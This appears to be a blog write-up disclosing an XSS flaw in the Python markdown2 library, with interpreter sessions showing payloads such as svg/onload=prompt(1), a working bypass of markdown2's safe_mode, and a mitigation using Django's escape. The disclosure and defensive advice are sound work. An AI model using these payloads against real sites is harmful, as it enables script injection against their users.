Python Markdown2 XSS Vulnerability and Prevention

Hey

As we all know, we usually use one or more 3th party application in our Django project and we rarely consider these applications security. In this article I will describe what I found in Markdown python library and how we can use markdown2 without having security issue.

Before go further I would like to tell how I meet with markdown2. One of mine friend started a awesome project and he used Django. One of the project requirements was Markdown2. So I decided to do some test on it.

### Project page : https://github.com/trentm/python-markdown2
pip install markdown2

Once you installed markdown2 with above command. You will be free to execute following commands.

Understand how Markdown2 handles XSS

Here is what I’ve test in first.

>>> from markdown2 import markdown as _m
>>>
>>> _m('xss<')
u'<p>xss&lt;</p>\n'
>>>
>>> _m('xss <img')
u'<p>xss <img</p>\n'
>>>

This is awkward. In first example it seems markdown2 does output encoding for < and > . But second example shows that markdown2 doesn’t encode < and > when space between < and words.

Let’s try one of the most command payloads.

>>> _m('xss <img src=x onerror=alert(1)>')
u'<p>xss <img src=x onerror=alert(1)&gt;</p>\n'
>>> _m('xss <img src=x onerror=alert(1) >')
u'<p>xss <img src=x onerror=alert(1) &gt;</p>\n'
>>> _m('xss <img src=x onerror=alert(1)    >')
u'<p>xss <img src=x onerror=alert(1)    &gt;</p>\n'

As you can see markdown encoding tag closer character even if there is space between tag closer and something. We know that we don’t need tag closer characters for XSS. Please look following HTML content. It will execute even if there is no tag closer character.

<html>
	<body>
		<svg/onload=prompt(1)
	</body>
</html>

Which means we have a XSS vulnerability in Markdown2.

Markdown2 Safe Mod

Markdown2 has a feature for XSS prevention. You can set safe_mod to True  for enable this feature. Let’s try to understand what is safe_mode behaviour.

>>> from markdown2 import markdown as _m
>>>
>>> _m('<script>alert(1)</script>', safe_mode=True)
u'<p>[HTML_REMOVED]alert(1)[HTML_REMOVED]</p>\n'
>>>

Blacklisting is not good. Let me show you how to bypass this safe_mode without taking your time. Please don’t forget that we don’t need tag closer for successfully XSS exploitation.

>>> from markdown2 import markdown as _m
>>> _m('XSS<<svg/onload=prompt(1)     XSSEND', safe_mode=True)
u'<p>XSS&lt;<svg/onload=prompt(1)     XSSEND</p>\n'
>>>

Boom! The trick is not rocket science.

  • Double tag openered character ( < )
  • End of payload we need some space ending with random character. I choose use XSSEND for this purpose.

As you can see, we managed to get valid html based XSS payload.

Mitigation

I suggest you to read XSS Security on Django ( https://www.mehmetince.net/xss-security-in-django/ )article before go further. Therefor you can easily understand context based XSS payloads.

Markdown2 safe_mode feature is not feasible for making secure your applications against XSS.

>>> from markdown2 import markdown as _m
>>> from django.utils.html import escape
>>> _m(escape('<script>alert(1)</script>'))
u'<p>&lt;script&gt;alert(1)&lt;/script&gt;</p>\n'
>>>

This will secure your application html context based XSS payloads. If you gonna use markdown output in different context like JS or Attribute. I suggest you to read XSS Security on Django article, again.